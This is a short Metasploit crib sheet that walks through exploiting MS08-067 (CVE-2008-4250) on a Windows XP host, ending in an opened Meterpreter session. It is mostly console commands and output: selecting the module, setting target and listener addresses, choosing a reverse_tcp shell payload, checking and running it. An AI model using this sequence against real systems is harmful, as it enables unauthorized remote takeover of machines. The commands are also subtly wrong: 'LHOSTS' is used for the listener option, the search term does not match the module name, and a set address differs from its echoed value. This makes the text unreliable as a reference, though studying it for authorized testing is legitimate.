How to Use Metasploit and MS08-067/CVE2008-4250 on a Security Test

Metasploit provides us with the ability to use a number of exploits. In this crib sheet we are going to use Metasploit to exploit MS08-067/CVE-2008-4250. We can use the search function within Metasploit to **search** for specific Microsoft Security Bulletin Numbers or specific CVE numbers. In the following example we are going to search for MS08-067.

```
$ msfconsole
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
msf> search ms08_67
Exploits
========
    #   Name                                 Description
    -   ----                                 ----
    0   exploit/windows/smb/ms08_067_netapi   Microsoft Server Path Corruption
msf> use exploit/windows/smb/ms08_067_netapi
msf exploit(windows/smb/ms08_067_netapi) >
```

Once we have selected the exploit that we wish to use the next thing that we need to do is to specify the target that we wish to attack/exploit and the payload that we wish to execute. So, we select that target via specifying the **RHOSTS** variable for the exploit.

- Remember to set the **LHOSTS** to the address of the local host that is running Metasploit.

```
msf exploit(windows/smb/ms08_067_netapi) >set RHOSTS 172.16.2.101
RHOSTS => 172.16.2.101
msf exploit(windows/smb/ms08_067_netapi) > set LHOSTS 192.128.2.201
LHOSTS => 192.168.2.201
```

Once we have defined the target, we can then define the payload that we want the exploit to use. We can define the meterpreter payload as follows:

```
msf exploit(windows/smb/ms08_067_netapi) > set payload
windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(windows/smb/ms08_067_netapi) >
```

We can then check that the vulnerability exists on the target system via the **check** command as follows:

```
msf exploit(windows/smb/ms08_067_netapi) > check
[+] 172.16.2.101 - The target is vulnerable
msf exploit(windows/smb/ms08_067_netapi) >
```

Once we have confirmed that the target is vulnerable, we can run the exploit via the run command as follows:

```
msf exploit(windows/smb/ms08_067_netapi) > run
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
[*] Starting reverse handler on 192.168.2.201:4444
[*] Automatically detecting the target
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Attempting to trigger vulnerability
[*} Sending stage 769024 bytes) 172.16.2.101
[*] Meterpreter session 1 opened (192.168.2.201:4444 -> 172.16.2.101:2421)
meterpreter >
```